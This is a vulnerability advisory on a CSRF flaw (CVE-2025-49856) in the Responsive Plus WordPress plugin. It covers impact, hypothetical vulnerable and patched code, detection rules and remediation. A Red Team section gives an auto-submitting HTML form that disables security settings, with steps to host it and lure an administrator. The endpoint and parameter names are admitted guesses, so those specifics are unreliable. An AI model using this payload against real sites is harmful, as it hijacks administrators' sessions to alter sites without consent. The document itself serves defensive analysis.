CVE-2025-49856

Executive Summary

CVE-2025-49856 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Responsive Plus WordPress plugin (slug: responsive-add-ons) developed by CyberChimps. The vulnerability exists in all versions up to and including 3.2.2. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or deactivating security features, without their consent. As a WordPress plugin vulnerability, it is critical to assess the risk within the WordPress ecosystem, not the underlying web server.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is currently available, users are advised to disable the plugin until a fix is released. The lack of OSV or GitHub advisory data indicates limited public disclosure, but the risk remains for sites running the affected version.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The low EPSS score (0.0%) suggests that exploitation is not currently widespread, but the vulnerability is trivial to exploit once a victim is tricked.

Deep Dive & Mechanics

The CSRF vulnerability in Responsive Plus arises from a lack of nonce validation or CSRF tokens on sensitive administrative actions. In WordPress, CSRF protection is typically implemented via nonces (number used once) that are verified before processing state-changing requests. The plugin fails to implement this check, allowing an attacker to craft a malicious link or form that, when visited by an authenticated admin, will execute actions on the attacker's behalf.

Attack Scenario:

1. An attacker identifies a target WordPress site running Responsive Plus <= 3.2.2.
2. The attacker crafts a malicious HTML page or email containing a CSRF payload (e.g., a form that auto-submits to the plugin's settings endpoint).
3. The attacker lures an authenticated admin to visit the malicious page.
4. The admin's browser sends a forged request to the WordPress site, modifying plugin settings (e.g., disabling security features, changing API keys, or enabling backdoor options).
5. The attacker then exploits the changed settings to gain further access.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical CSRF vulnerability in WordPress plugins looks like this:

Vulnerable Code (hypothetical):

// In responsive-add-ons/admin/class-responsive-add-ons-admin.php
function save_settings() {
    // No nonce verification
    update_option('responsive_plus_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=responsive-plus'));
}

Patched Code (expected):

function save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'responsive_plus_save_settings')) {
        wp_die('Security check failed.');
    }
    update_option('responsive_plus_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=responsive-plus'));
}

The patch would add a nonce check using wp_verify_nonce() and include a hidden nonce field in the form.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: WordPress 6.x with Responsive Plus 3.2.2 installed and activated.
• Attacker: Kali Linux with a simple HTTP server to host the CSRF payload.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-post.php?action=responsive_plus_save_settings).
2. Create a CSRF payload HTML file:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="responsive_plus_save_settings">
    <input type="hidden" name="settings[disable_security]" value="1">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

3. Host the file on the attacker's server: python3 -m http.server 8080.
4. Send the link to the victim admin (e.g., via email or social engineering).
5. Once the admin visits the link, the form auto-submits, changing the plugin settings.

Blue Team

Detection & Prevention:

• Monitor for unusual POST requests to /wp-admin/admin-post.php with unexpected action parameters.
• Implement Content Security Policy (CSP) headers to block external form submissions.
• Use WordPress security plugins (e.g., Wordfence) that add CSRF protection.
• Educate administrators about phishing and CSRF attacks.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-post.php" form_data.action=responsive_plus_save_settings
| stats count by src_ip, user_agent, referer
| where referer NOT LIKE "%target-site.com%"

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-post.php with action=responsive_plus_save_settings from unexpected referers.
  • Unusual Referer headers pointing to attacker-controlled domains.
• Host IOCs:
  • Modified wp_options table entries for responsive_plus_settings.
  • Unexpected changes in plugin behavior (e.g., disabled security features).
• File IOCs:
  • No specific file changes, as CSRF does not upload files.

Detection Engineering

YARA Rule

rule Detect_Responsive_Plus_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Responsive Plus plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49856"
    strings:
        $action = "responsive_plus_save_settings"
        $nonce_check = "_wpnonce" nocase
    condition:
        $action and not $nonce_check
}

Sigma Rule

title: CSRF Exploit Against Responsive Plus Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting Responsive Plus plugin settings
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "action=responsive_plus_save_settings"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-49856 CSRF Exploit Against Responsive Plus";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=responsive_plus_save_settings";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-49856;
    classtype:attempted-admin;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by CyberChimps.
2. Monitor WordPress admin logs for unauthorized changes.
3. Implement Web Application Firewall (WAF) rules to block suspicious POST requests to admin-post.php.

Long-term Fix:

• The vendor must add nonce verification to all admin actions in the plugin.
• Users should update to a patched version once available (check WordPress Plugin Directory).

Workarounds:

• Use a security plugin that adds CSRF protection to all admin forms.
• Restrict admin access to trusted IPs only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-49856